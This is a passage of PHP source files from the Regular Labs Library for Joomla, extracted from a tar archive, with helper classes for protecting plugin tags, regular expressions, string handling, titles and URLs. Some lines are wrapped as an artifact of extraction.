return [self::$sourcerer_tag, self::$sourcerer_characters];
}
$parameters =
Parameters::getInstance()->getPluginParams('sourcerer');
self::$sourcerer_tag = isset($parameters->syntax_word) ?
$parameters->syntax_word : '';
self::$sourcerer_characters = isset($parameters->tag_characters) ?
$parameters->tag_characters : '{.}';
return [self::$sourcerer_tag, self::$sourcerer_characters];
}
/**
* Protect all Sourcerer blocks
*
* @param string $string
*/
public static function protectSourcerer(&$string)
{
list($tag, $characters) = self::getSourcererTag();
if (empty($tag))
{
return;
}
list($start, $end) = explode('.', $characters);
if (strpos($string, $start . '/' . $tag . $end) === false)
{
return;
}
$regex = RegEx::quote($start . $tag)
. '[\s\}].*?'
. RegEx::quote($start . '/' . $tag . $end);
RegEx::matchAll($regex, $string, $matches, null, PREG_PATTERN_ORDER);
if (empty($matches))
{
return;
}
$matches = array_unique($matches[0]);
foreach ($matches as $match)
{
$string = str_replace($match, self::protectString($match), $string);
}
}
/**
* Protect complete AdminForm
*
* @param string $string
* @param array $tags
* @param bool $include_closing_tags
*/
public static function protectForm(&$string, $tags = [],
$include_closing_tags = true, $form_classes = [])
{
if ( ! Document::isEditPage())
{
return;
}
list($tags, $protected_tags) = self::prepareTags($tags,
$include_closing_tags);
$string = RegEx::replace(self::getFormRegex($form_classes), '<!--
TMP_START_EDITOR -->\1', $string);
$string = explode('<!-- TMP_START_EDITOR -->', $string);
foreach ($string as $i => &$string_part)
{
if (empty($string_part) || ! fmod($i, 2))
{
continue;
}
self::protectFormPart($string_part, $tags, $protected_tags);
}
$string = implode('', $string);
}
/**
* Protect part of the AdminForm
*
* @param string $string
* @param array $tags
* @param array $protected_tags
*/
private static function protectFormPart(&$string, $tags = [],
$protected_tags = [])
{
if (strpos($string, '</form>') === false)
{
return;
}
// Protect entire form
if (empty($tags))
{
$form_parts = explode('</form>', $string, 2);
$form_parts[0] = self::protectString($form_parts[0] .
'</form>');
$string = implode('', $form_parts);
return;
}
$regex_tags = RegEx::quote($tags);
if ( ! RegEx::match($regex_tags, $string))
{
return;
}
$form_parts = explode('</form>', $string, 2);
// protect tags only inside form fields
RegEx::matchAll(
'(?:<textarea[^>]*>.*?<\/textarea>|<input[^>]*>)',
$form_parts[0],
$matches,
null,
PREG_PATTERN_ORDER
);
if (empty($matches))
{
return;
}
$matches = array_unique($matches[0]);
foreach ($matches as $match)
{
$field = str_replace($tags, $protected_tags, $match);
$form_parts[0] = str_replace($match, $field, $form_parts[0]);
}
$string = implode('</form>', $form_parts);
}
/**
* Replace any protected text to original
*
* @param string|array $string
*/
public static function unprotect(&$string)
{
if (is_array($string))
{
foreach ($string as &$part)
{
self::unprotect($part);
}
return;
}
self::unprotectByDelimiters(
$string,
[self::$protect_tags_start, self::$protect_tags_end]
);
self::unprotectByDelimiters(
$string,
[self::$protect_start, self::$protect_end]
);
if (StringHelper::contains($string, [self::$protect_tags_start,
self::$protect_tags_end, self::$protect_start, self::$protect_end]))
{
self::unprotect($string);
}
}
/**
* @param string $string
* @param array $delimiters
*/
private static function unprotectByDelimiters(&$string, $delimiters)
{
if ( ! StringHelper::contains($string, $delimiters))
{
return;
}
$regex = RegEx::preparePattern(RegEx::quote($delimiters), 's',
$string);
$parts = preg_split($regex, $string);
foreach ($parts as $i => &$part)
{
if ($i % 2 == 0)
{
continue;
}
$part = base64_decode($part);
}
$string = implode('', $parts);
}
/**
* Replace any protected text to original
*
* @param string $string
*/
public static function convertProtectionToHtmlSafe(&$string)
{
$string = str_replace(
[
self::$protect_start,
self::$protect_end,
self::$protect_tags_start,
self::$protect_tags_end,
],
[
self::$html_safe_start,
self::$html_safe_end,
self::$html_safe_tags_start,
self::$html_safe_tags_end,
],
$string
);
}
/**
* Replace any protected text to original
*
* @param string $string
*/
public static function unprotectHtmlSafe(&$string)
{
$string = str_replace(
[
self::$html_safe_start,
self::$html_safe_end,
self::$html_safe_tags_start,
self::$html_safe_tags_end,
],
[
self::$protect_start,
self::$protect_end,
self::$protect_tags_start,
self::$protect_tags_end,
],
$string
);
self::unprotect($string);
}
/**
* Prepare the tags and protected tags array
*
* @param array $tags
* @param bool $include_closing_tags
*
* @return bool|mixed
*/
private static function prepareTags($tags, $include_closing_tags = true)
{
if ( ! is_array($tags))
{
$tags = [$tags];
}
$cache_id = 'prepareTags_' . json_encode($tags) . '_'
. $include_closing_tags;
if (Cache::has($cache_id))
{
return Cache::get($cache_id);
}
foreach ($tags as $i => $tag)
{
if (StringHelper::is_alphanumeric($tag[0]))
{
$tag = '{' . $tag;
}
$tags[$i] = $tag;
if ($include_closing_tags)
{
$tags[] = RegEx::replace('^([^a-z0-9]+)', '\1/',
$tag);
}
}
return Cache::set(
$cache_id,
[$tags, self::protectArray($tags, 1)]
);
}
/**
* Encode string
*
* @param string $string
* @param int $is_tag
*
* @return string
*/
public static function protectString($string, $is_tag = false)
{
if ($is_tag)
{
return self::$protect_tags_start . base64_encode($string) .
self::$protect_tags_end;
}
return self::$protect_start . base64_encode($string) .
self::$protect_end;
}
/**
* Decode string
*
* @param string $string
* @param int $is_tag
*
* @return string
*/
public static function unprotectString($string, $is_tag = false)
{
if ($is_tag)
{
return self::$protect_tags_start . base64_decode($string) .
self::$protect_tags_end;
}
return self::$protect_start . base64_decode($string) .
self::$protect_end;
}
/**
* Encode tag string
*
* @param string $string
*
* @return string
*/
public static function protectTag($string)
{
return self::protectString($string, 1);
}
/**
* Encode array of strings
*
* @param array $array
* @param int $is_tag
*
* @return mixed
*/
public static function protectArray($array, $is_tag = false)
{
foreach ($array as &$string)
{
$string = self::protectString($string, $is_tag);
}
return $array;
}
/**
* Decode array of strings
*
* @param array $array
* @param int $is_tag
*
* @return mixed
*/
public static function unprotectArray($array, $is_tag = false)
{
foreach ($array as &$string)
{
$string = self::unprotectString($string, $is_tag);
}
return $array;
}
/**
* Replace any protected tags to original
*
* @param string $string
* @param array $tags
*/
public static function unprotectForm(&$string, $tags = [])
{
// Protect entire form
if (empty($tags))
{
self::unprotect($string);
return;
}
self::unprotectTags($string, $tags);
}
/**
* Wrap string in comment tags
*
* @param string $name
* @param string $comment
*
* @return string
*/
public static function wrapInCommentTags($name, $string)
{
list($start, $end) = self::getCommentTags($name);
return $start . $string . $end;
}
/**
* Get the html comment tags
*
* @param string $name
*
* @return array
*/
public static function getCommentTags($name = '')
{
return [self::getCommentStartTag($name), self::getCommentEndTag($name)];
}
/**
* Get the html start comment tags
*
* @param string $name
*
* @return string
*/
public static function getCommentStartTag($name = '')
{
return '<!-- START: ' . $name . ' -->';
}
/**
* Get the html end comment tags
*
* @param string $name
*
* @return string
*/
public static function getCommentEndTag($name = '')
{
return '<!-- END: ' . $name . ' -->';
}
/**
* Create a html comment from given comment string
*
* @param string $name
* @param string $comment
*
* @return string
*/
public static function getMessageCommentTag($name, $comment)
{
list($start, $end) = self::getMessageCommentTags($name);
return $start . $comment . $end;
}
/**
* Get the start and end parts for the html message comment tag
*
* @param string $name
*
* @return array
*/
public static function getMessageCommentTags($name = '')
{
return ['<!-- ' . $name . ' Message: ', '
-->'];
}
/**
* Get the start and end parts for the inline comment tags for
scripts/styles
*
* @param string $name
* @param string $type
*
* @return array
*/
public static function getInlineCommentTags($name = '', $type =
'', $regex = false)
{
if ($regex)
{
$type = 'TYPE_PLACEHOLDER';
}
$start = '/* START: ' . $name . ' ' . $type . '
*/';
$end = '/* END: ' . $name . ' ' . $type . '
*/';
if ($regex)
{
$start = str_replace($type, '[a-z]*', RegEx::quote($start));
$end = str_replace($type, '[a-z]*', RegEx::quote($end));
}
return [$start, $end];
}
/**
* Wraps a style or javascript declaration with comment tags
*
* @param string $content
* @param string $name
* @param string $type
* @param bool $minify
*/
public static function wrapDeclaration($content = '', $name =
'', $type = 'styles', $minify = true)
{
if (empty($name))
{
return $content;
}
list($start, $end) = self::getInlineCommentTags($name, $type);
$spacer = $minify ? ' ' : "\n";
return $start . $spacer . $content . $spacer . $end;
}
/**
* Wraps a javascript declaration with comment tags
*
* @param string $content
* @param string $name
* @param bool $minify
*/
public static function wrapScriptDeclaration($content = '',
$name = '', $minify = true)
{
return self::wrapDeclaration($content, $name, 'scripts',
$minify);
}
/**
* Wraps a stylesheet declaration with comment tags
*
* @param string $content
* @param string $name
* @param bool $minify
*/
public static function wrapStyleDeclaration($content = '', $name
= '', $minify = true)
{
return self::wrapDeclaration($content, $name, 'styles',
$minify);
}
/**
* Remove area comments in html
*
* @param string $string
* @param string $prefix
*/
public static function removeAreaTags(&$string, $prefix =
'')
{
$string = RegEx::replace('<!-- (START|END): ' . $prefix .
'_[A-Z]+ -->', '', $string, 's');
}
/**
* Remove comments in html
*
* @param string $string
* @param string $name
*/
public static function removeCommentTags(&$string, $name =
'')
{
list($start, $end) = self::getCommentTags($name);
$string = str_replace(
[
$start, $end,
htmlentities($start), htmlentities($end),
urlencode($start), urlencode($end),
], '', $string
);
list($start, $end) = self::getMessageCommentTags($name);
$string = RegEx::replace(
RegEx::quote($start) . '.*?' . RegEx::quote($end),
'',
$string
);
}
/**
* Remove inline comments in scrips and styles
*
* @param string $string
* @param string $name
*/
public static function removeInlineComments(&$string, $name)
{
list($start, $end) = Protect::getInlineCommentTags($name, null, true);
$string = RegEx::replace('(' . $start . '|' . $end .
')', "\n", $string);
}
/**
* Remove left over plugin tags
*
* @param string $string
* @param array $tags
* @param string $character_start
* @param string $character_end
* @param bool $keep_content
*/
public static function removePluginTags(&$string, $tags,
$character_start = '{', $character_end = '}',
$keep_content = true)
{
$regex_character_start = RegEx::quote($character_start);
$regex_character_end = RegEx::quote($character_end);
foreach ($tags as $tag)
{
if ( ! is_array($tag))
{
$tag = [$tag, $tag];
}
if (count($tag) < 2)
{
$tag = [$tag[0], $tag[0]];
}
if ( ! StringHelper::contains($string, $character_start . '/'
. $tag[1] . $character_end))
{
continue;
}
$regex = $regex_character_start . RegEx::quote($tag[0]) .
'(?:\s.*?)?' . $regex_character_end
. '(.*?)'
. $regex_character_start . '/' . RegEx::quote($tag[1]) .
$regex_character_end;
$replace = $keep_content ? '\1' : '';
$string = RegEx::replace($regex, $replace, $string);
}
}
/**
* Remove tags from title tags
*
* @param string $string
* @param array $tags
* @param bool $include_closing_tags
* @param array $html_tags
*/
public static function removeFromHtmlTagContent(&$string, $tags,
$include_closing_tags = true, $html_tags = ['title'])
{
list($tags, $protected) = self::prepareTags($tags,
$include_closing_tags);
if ( ! is_array($html_tags))
{
$html_tags = [$html_tags];
}
RegEx::matchAll('(<(' . implode('|', $html_tags) .
')(?:\s[^>]*?)>)(.*?)(</\2>)', $string, $matches);
if (empty($matches))
{
return;
}
foreach ($matches as $match)
{
$content = $match[3];
foreach ($tags as $tag)
{
$content = RegEx::replace(RegEx::quote($tag) . '.*?\}',
'', $content);
}
$string = str_replace($match[0], $match[1] . $content . $match[4],
$string);
}
}
/**
* Remove tags from tag attributes
*
* @param string $string
* @param array $tags
* @param string $attributes
* @param bool $include_closing_tags
*/
public static function removeFromHtmlTagAttributes(&$string, $tags,
$attributes = 'ALL', $include_closing_tags = true)
{
list($tags, $protected) = self::prepareTags($tags,
$include_closing_tags);
if ($attributes == 'ALL')
{
$attributes = ['[a-z][a-z0-9-_]*'];
}
if ( ! is_array($attributes))
{
$attributes = [$attributes];
}
RegEx::matchAll(
'\s(?:' . implode('|', $attributes) .
')\s*=\s*".*?"',
$string,
$matches,
null,
PREG_PATTERN_ORDER
);
if (empty($matches) || empty($matches[0]))
{
return;
}
$matches = array_unique($matches[0]);
// preg_quote all tags
$tags_regex = RegEx::quote($tags) . '.*?\}';
foreach ($matches as $match)
{
if ( ! StringHelper::contains($match, $tags))
{
continue;
}
$title = $match;
$title = RegEx::replace($tags_regex, '', $title);
$string = StringHelper::replaceOnce($match, $title, $string);
}
}
/**
* Check if article passes security levels
*
* @param object $article
* @param array $securtiy_levels
*
* @return bool|int
*/
public static function articlePassesSecurity(&$article,
$securtiy_levels = [])
{
if ( ! isset($article->created_by))
{
return true;
}
if (empty($securtiy_levels))
{
return true;
}
if (is_string($securtiy_levels))
{
$securtiy_levels = [$securtiy_levels];
}
if (
! is_array($securtiy_levels)
|| in_array('-1', $securtiy_levels)
)
{
return true;
}
// Lookup group level of creator
$user_groups = new JAccess;
$user_groups = $user_groups->getGroupsByUser($article->created_by);
// Return true if any of the security levels are found in the users
groups
return count(array_intersect($user_groups, $securtiy_levels));
}
/**
* Replace in protect array
*
* @param array $array
* @param string $search
* @param string $replacement
*/
public static function replaceInArray(&$array, $search, $replacement)
{
foreach ($array as $key => &$string)
{
// only do something if string is not empty
// or on uneven count = not yet protected
if (trim($string) == '' || fmod($key, 2))
{
continue;
}
$array[$key] = str_replace($search, $replacement, $string);
}
}
/**
* Replace in protect array using Regular Expressions
*
* @param array $array
* @param string $search
* @param string $replacement
*/
public static function pregReplaceInArray(&$array, $search,
$replacement)
{
foreach ($array as $key => &$string)
{
// only do something if string is not empty
// or on uneven count = not yet protected
if (trim($string) == '' || fmod($key, 2))
{
continue;
}
$array[$key] = RegEx::replace($search, $replacement, $string);
}
}
}
src/RegEx.php000064400000012670151165347540007077 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class RegEx
* @package RegularLabs\Library
*/
class RegEx
{
/**
* Perform a regular expression search and replace
*
* @param string $pattern
* @param string $replacement
* @param string $string
* @param string $options
* @param int $limit
* @param int $count
*
* @return string
*/
public static function replace($pattern, $replacement, $string, $options =
null, $limit = -1, &$count = null)
{
if ( ! is_string($pattern) || $pattern == '' || !
is_string($string) || $string == '')
{
return $string;
}
$pattern = self::preparePattern($pattern, $options, $string);
return preg_replace($pattern, $replacement, $string, $limit, $count);
}
/**
* Perform a regular expression search and replace once
*
* @param string $pattern
* @param string $replacement
* @param string $string
* @param string $options
*
* @return string
*/
public static function replaceOnce($pattern, $replacement, $string,
$options = null)
{
return self::replace($pattern, $replacement, $string, $options, 1);
}
/**
* Perform a regular expression match
*
* @param string $pattern
* @param string $string
* @param null $matches
* @param string $options
* @param int $flags
*
* @return int
*/
public static function match($pattern, $string, &$matches = null,
$options = null, $flags = 0)
{
if ( ! is_string($pattern) || $pattern == '' || !
is_string($string) || $string == '')
{
return false;
}
$pattern = self::preparePattern($pattern, $options, $string);
return preg_match($pattern, $string, $matches, $flags);
}
/**
* Perform a global regular expression match
*
* @param string $pattern
* @param string $string
* @param null $matches
* @param string $options
* @param int $flags
*
* @return int
*/
public static function matchAll($pattern, $string, &$matches = null,
$options = null, $flags = PREG_SET_ORDER)
{
if ( ! is_string($pattern) || $pattern == '' || !
is_string($string) || $string == '')
{
$matches = [];
return false;
}
$pattern = self::preparePattern($pattern, $options, $string);
return preg_match_all($pattern, $string, $matches, $flags);
}
/**
* preg_quote the given string or array of strings
*
* @param string|array $data
* @param string $name
* @param string $delimiter
*
* @return string
*/
public static function quote($data, $name = '', $delimiter =
'#', $capture = true)
{
if (is_array($data))
{
$array = self::quoteArray($data, $delimiter);
$prefix = '?!';
if ($capture)
{
$prefix = $name ? '?<' . $name . '>' :
'';
}
return '(' . $prefix . implode('|', $array) .
')';
}
if ( ! empty($name))
{
return '(?<' . $name . '>' . preg_quote($data,
$delimiter) . ')';
}
return preg_quote($data, $delimiter);
}
/**
* reverse preg_quote the given string
*
* @param string $string
* @param string $delimiter
*
* @return string
*/
public static function unquote($string, $delimiter = '#')
{
return strtr($string, [
'\\' . $delimiter => $delimiter,
'\\.' => '.',
'\\\\' => '\\',
'\\+' => '+',
'\\*' => '*',
'\\?' => '?',
'\\[' => '[',
'\\^' => '^',
'\\]' => ']',
'\\$' => '$',
'\\(' => '(',
'\\)' => ')',
'\\{' => '{',
'\\}' => '}',
'\\=' => '=',
'\\!' => '!',
'\\<' => '<',
'\\>' => '>',
'\\|' => '|',
'\\:' => ':',
'\\-' => '-',
]);
}
/**
* preg_quote the given array of strings
*
* @param array $array
* @param string $delimiter
*
* @return array
*/
public static function quoteArray($array = [], $delimiter = '#')
{
array_walk($array, function (&$part, $key, $delimiter) {
$part = self::quote($part, '', $delimiter);
}, $delimiter);
return $array;
}
/**
* Make a string a valid regular expression pattern
*
* @param string $pattern
* @param string $options
* @param string $string
*
* @return string
*/
public static function preparePattern($pattern, $options = null, $string =
'')
{
if (is_array($pattern))
{
return self::preparePatternArray($pattern, $options, $string);
}
if (substr($pattern, 0, 1) != '#')
{
$pattern = '#' . $pattern . '#';
}
$options = ! is_null($options) ? $options : 'si';
if (substr($pattern, -1, 1) == '#')
{
$pattern .= $options;
}
if (StringHelper::detectUTF8($string))
{
// use utf-8
return $pattern . 'u';
}
return $pattern;
}
/**
* Make an array of strings valid regular expression patterns
*
* @param array $pattern
* @param string $options
* @param string $string
*
* @return array
*/
private static function preparePatternArray($pattern, $options = null,
$string = '')
{
array_walk($pattern, function (&$subpattern, $key, $string) {
$subpattern = self::preparePattern($subpattern, $options = null,
$string);
}, $string);
return $pattern;
}
}
src/ShowOn.php000064400000002501151165347540007272 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
use Joomla\CMS\Form\FormHelper as JFormHelper;
use RegularLabs\Library\Document as RL_Document;
defined('_JEXEC') or die;
/**
* Class ShowOn
* @package RegularLabs\Library
*/
class ShowOn
{
public static function open($condition = '', $formControl =
'', $group = '', $class = '')
{
if ( ! $condition)
{
return self::close();
}
RL_Document::loadFormDependencies();
$json = json_encode(JFormHelper::parseShowOnConditions($condition,
$formControl, $group));
$class = $class ? ' class="' . $class . '"'
: '';
return '<div data-showon=\'' . $json . '\'
style="display: none;"' . $class . '>';
}
public static function close()
{
return '</div>';
}
public static function show($string = '', $condition =
'', $formControl = '', $group = '', $animate
= true, $class = '')
{
if ( ! $condition || ! $string)
{
return $string;
}
return self::open($condition, $formControl, $group, $animate, $class)
. $string
. self::close();
}
}
src/StringHelper.php000064400000014441151165347540010471 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\String\Normalise;
use Normalizer;
/**
* Class StringHelper
* @package RegularLabs\Library
*/
class StringHelper
extends \Joomla\String\StringHelper
{
/**
* Decode html entities in string or array of strings
*
* @param string $data
* @param int $quote_style
* @param string $encoding
*
* @return array|string
*/
public static function html_entity_decoder($data, $quote_style =
ENT_QUOTES, $encoding = 'UTF-8')
{
if (is_array($data))
{
array_walk($data, function (&$part, $key, $quote_style, $encoding) {
$part = self::html_entity_decoder($part, $quote_style, $encoding);
}, $quote_style, $encoding);
return $data;
}
if ( ! is_string($data))
{
return $data;
}
return html_entity_decode($data, $quote_style | ENT_HTML5, $encoding);
}
/**
* Replace the given replace string once in the main string
*
* @param string $search
* @param string $replace
* @param string $string
*
* @return string
*/
public static function replaceOnce($search, $replace, $string)
{
if (empty($search) || empty($string))
{
return $string;
}
$pos = strpos($string, $search);
if ($pos === false)
{
return $string;
}
return substr_replace($string, $replace, $pos, strlen($search));
}
/**
* Check if any of the needles are found in any of the haystacks
*
* @param $haystacks
* @param $needles
*
* @return bool
*/
public static function contains($haystacks, $needles)
{
$haystacks = (array) $haystacks;
$needles = (array) $needles;
foreach ($haystacks as $haystack)
{
foreach ($needles as $needle)
{
if (strpos($haystack, $needle) !== false)
{
return true;
}
}
}
return false;
}
/**
* Check if string is alphanumerical
*
* @param string $string
*
* @return bool
*/
public static function is_alphanumeric($string)
{
if (function_exists('ctype_alnum'))
{
return (bool) ctype_alnum($string);
}
return (bool) RegEx::match('^[a-z0-9]+$', $string);
}
/**
* Check if string is a valid key / alias (alphanumeric with optional _ or
- chars)
*
* @param string $string
*
* @return bool
*/
public static function is_key($string)
{
return RegEx::match('^[a-z][a-z0-9-_]*$', trim($string));
}
/**
* Split a long string into parts (array)
*
* @param string $string
* @param array $delimiters Array of strings to split the string on
* @param int $max_length Maximum length of each part
* @param bool $maximize_parts If true, the different parts will be made
as large as possible (combining consecutive short string elements)
*
* @return array
*/
public static function split($string, $delimiters = [], $max_length =
10000, $maximize_parts = true)
{
// String is too short to split
if (strlen($string) < $max_length)
{
return [$string];
}
// No delimiters given or found
if (empty($delimiters) || ! self::contains($string, $delimiters))
{
return [$string];
}
// preg_quote all delimiters
$array = preg_split('#' . RegEx::quote($delimiters) .
'#s', $string, null, PREG_SPLIT_DELIM_CAPTURE |
PREG_SPLIT_NO_EMPTY);
if ( ! $maximize_parts)
{
return $array;
}
$new_array = [];
foreach ($array as $part)
{
// First element, add to new array
if ( ! count($new_array))
{
$new_array[] = $part;
continue;
}
$last_part = end($new_array);
$last_key = key($new_array);
// If last and current parts are longer than max_length, then simply add
as new value
if (strlen($last_part) + strlen($part) > $max_length)
{
$new_array[] = $part;
continue;
}
// Concatenate part to previous part
$new_array[$last_key] .= $part;
}
return $new_array;
}
/**
* Check whether string is a UTF-8 encoded string
*
* @param string $string
*
* @return bool
*/
public static function detectUTF8($string = '')
{
// Try to check the string via the mb_check_encoding function
if (function_exists('mb_check_encoding'))
{
return mb_check_encoding($string, 'UTF-8');
}
// Otherwise: Try to check the string via the iconv function
if (function_exists('iconv'))
{
$converted = iconv('UTF-8', 'UTF-8//IGNORE',
$string);
return (md5($converted) == md5($string));
}
// As last fallback, check if the preg_match finds anything using the
unicode flag
return preg_match('#.#u', $string);
}
/**
* Converts a string to a UTF-8 encoded string
*
* @param string $string
*
* @return string
*/
public static function convertToUtf8($string = '')
{
if (self::detectUTF8($string))
{
// Already UTF-8, so skip
return $string;
}
if ( ! function_exists('iconv'))
{
// Still need to find a stable fallback
return $string;
}
$utf8_string = @iconv('UTF8', 'UTF-8//IGNORE',
$string);
if (empty($utf8_string))
{
return $string;
}
return $utf8_string;
}
/**
* Converts a camelcased string to a underscore separated string
* eg: FooBar => foo_bar
*
* @param string $string
* @param bool $tolowercase
*
* @return string
*/
public static function camelToUnderscore($string = '',
$tolowercase = true)
{
$string =
Normalise::toUnderscoreSeparated(Normalise::fromCamelCase($string));
if ( ! $tolowercase)
{
return $string;
}
return strtolower($string);
}
/**
* Removes html tags from string
*
* @param string $string
* @param bool $remove_comments
*
* @return string
*/
public static function removeHtml($string, $remove_comments = false)
{
return Html::removeHtmlTags($string, $remove_comments);
}
/**
* Normalizes the input provided and returns the normalized string
*
* @param string $string
*
* @return string
*/
public static function normalize($string, $tolowercase = false)
{
// Normalizer-class missing!
if (class_exists('Normalizer', $autoload = false))
{
$string = Normalizer::normalize($string);
}
if ( ! $tolowercase)
{
return $string;
}
return strtolower($string);
}
}
src/Title.php000064400000004670151165347560007151 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
/**
* Class Title
* @package RegularLabs\Library
*/
class Title
{
/**
* Cleans the string to make it usable as a title
*
* @param string $string
* @param bool $strip_tags
* @param bool $strip_spaces
*
* @return string
*/
public static function clean($string = '', $strip_tags = false,
$strip_spaces = true)
{
if (empty($string))
{
return '';
}
// remove comment tags
$string = RegEx::replace('<\!--.*?-->', '',
$string);
// replace weird whitespace
$string = str_replace(chr(194) . chr(160), ' ', $string);
if ($strip_tags)
{
// remove svgs
$string = RegEx::replace('<svg.*?</svg>',
'', $string);
// remove html tags
$string = RegEx::replace('</?[a-z][^>]*>',
'', $string);
// remove comments tags
$string = RegEx::replace('<\!--.*?-->', '',
$string);
}
if ($strip_spaces)
{
// Replace html spaces
$string = str_replace([' ', ' '],
' ', $string);
// Remove duplicate whitespace
$string = RegEx::replace('[ \n\r\t]+', ' ',
$string);
}
return trim($string);
}
/**
* Creates an array of different syntaxes of titles to match against a url
variable
*
* @param array $titles
*
* @return array
*/
public static function getUrlMatches($titles = [])
{
$matches = [];
foreach ($titles as $title)
{
$matches[] = $title;
$matches[] = StringHelper::strtolower($title);
}
$matches = array_unique($matches);
foreach ($matches as $title)
{
$matches[] =
htmlspecialchars(StringHelper::html_entity_decoder($title));
}
$matches = array_unique($matches);
foreach ($matches as $title)
{
$matches[] = urlencode($title);
$matches[] = utf8_decode($title);
$matches[] = str_replace(' ', '', $title);
$matches[] = trim(RegEx::replace('[^a-z0-9]', '',
$title));
$matches[] = trim(RegEx::replace('[^a-z]', '',
$title));
}
$matches = array_unique($matches);
foreach ($matches as $i => $title)
{
$matches[$i] = trim(str_replace('?', '', $title));
}
$matches = array_diff(array_unique($matches), ['',
'-']);
return $matches;
}
}
src/Uri.php000064400000011717151165347560006627 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Router\Route as JRoute;
use Joomla\CMS\Uri\Uri as JUri;
/**
* Class Uri
* @package RegularLabs\Library
*/
class Uri
{
/**
* Returns the full uri and optionally adds/replaces the hash
*
* @param string $hash
*
* @return string
*/
public static function get($hash = '')
{
$url = JUri::getInstance()->toString();
if ($hash == '')
{
return $url;
}
return self::appendHash($url, $hash);
}
/**
* adds the given url parameter (key + value) to the url or replaces it
already exists
*
* @param string $url
* @param string $key
* @param string $value
* @param bool $replace
*
* @return string
*/
public static function addParameter($url, $key, $value = '',
$replace = true)
{
if (empty($key))
{
return $url;
}
$uri = parse_url($url);
$query = isset($uri['query']) ?
self::parse_query($uri['query']) : [];
if ( ! $replace && isset($query[$key]))
{
return $url;
}
$query[$key] = $value;
$uri['query'] = http_build_query($query);
return self::createUrlFromArray($uri);
}
/**
* removes the given url parameter from the url
*
* @param string $url
* @param string $key
*
* @return string
*/
public static function removeParameter($url, $key)
{
if (empty($key))
{
return $url;
}
$uri = parse_url($url);
if ( ! isset($uri['query']))
{
return $url;
}
$query = self::parse_query($uri['query']);
unset($query[$key]);
$uri['query'] = http_build_query($query);
return self::createUrlFromArray($uri);
}
/**
* Converts an array of url parts (like made by parse_url) to a string
*
* @param array $uri
*
* @return string
*/
public static function createUrlFromArray($uri)
{
$user = ! empty($uri['user']) ? $uri['user'] :
'';
$pass = ! empty($uri['pass']) ? ':' .
$uri['pass'] : '';
return (! empty($uri['scheme']) ? $uri['scheme'] .
'://' : '')
. (($user || $pass) ? $user . $pass . '@' : '')
. (! empty($uri['host']) ? $uri['host'] :
'')
. (! empty($uri['port']) ? ':' .
$uri['port'] : '')
. (! empty($uri['path']) ? $uri['path'] :
'')
. (! empty($uri['query']) ? '?' .
$uri['query'] : '')
. (! empty($uri['fragment']) ? '#' .
$uri['fragment'] : '');
}
/**
* Appends the given hash to the url or replaces it if there is already
one
*
* @param string $url
* @param string $hash
*
* @return string
*/
public static function appendHash($url = '', $hash =
'')
{
if (empty($hash))
{
return $url;
}
$uri = parse_url($url);
$uri['fragment'] = $hash;
return self::createUrlFromArray($uri);
}
public static function isExternal($url)
{
if (strpos($url, '://') === false)
{
return false;
}
// hostname: give preference to SERVER_NAME, because this includes
subdomains
$hostname = ($_SERVER['SERVER_NAME']) ?
$_SERVER['SERVER_NAME'] : $_SERVER['HTTP_HOST'];
return ! (strpos(RegEx::replace('^.*?://', '', $url),
$hostname) === 0);
}
public static function route($url)
{
return JRoute::_(JUri::root(true) . '/' . $url);
}
public static function encode($string)
{
return urlencode(base64_encode(gzdeflate($string)));
}
public static function decode($string)
{
return gzinflate(base64_decode(urldecode($string)));
}
public static function createCompressedAttributes($string)
{
$parameters = [];
$compressed = base64_encode(gzdeflate($string));
$chunk_length = ceil(strlen($compressed) / 10);
$chunks = str_split($compressed, $chunk_length);
foreach ($chunks as $i => $chunk)
{
$parameters[] = 'rlatt_' . $i . '=' .
urlencode($chunk);
}
return implode('&', $parameters);
}
public static function getCompressedAttributes()
{
$input = JFactory::getApplication()->input;
$compressed = '';
for ($i = 0; $i < 10; $i++)
{
$compressed .= $input->getString('rlatt_' . $i,
'');
}
return gzinflate(base64_decode($compressed));
}
/**
* Parse a query string into an associative array.
*
* @param string $string
*
* @return array
*/
private static function parse_query($string)
{
$result = [];
if ($string === '')
{
return $result;
}
$decoder = function ($value) {
return rawurldecode(str_replace('+', ' ', $value));
};
foreach (explode('&', $string) as $kvp)
{
$parts = explode('=', $kvp, 2);
$key = $decoder($parts[0]);
$value = isset($parts[1]) ? $decoder($parts[1]) : null;
if ( ! isset($result[$key]))
{
$result[$key] = $value;
continue;
}
if ( ! is_array($result[$key]))
{
$result[$key] = [$result[$key]];
}
$result[$key][] = $value;
}
return $result;
}
}
src/Version.php000064400000017724151165347560007521 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
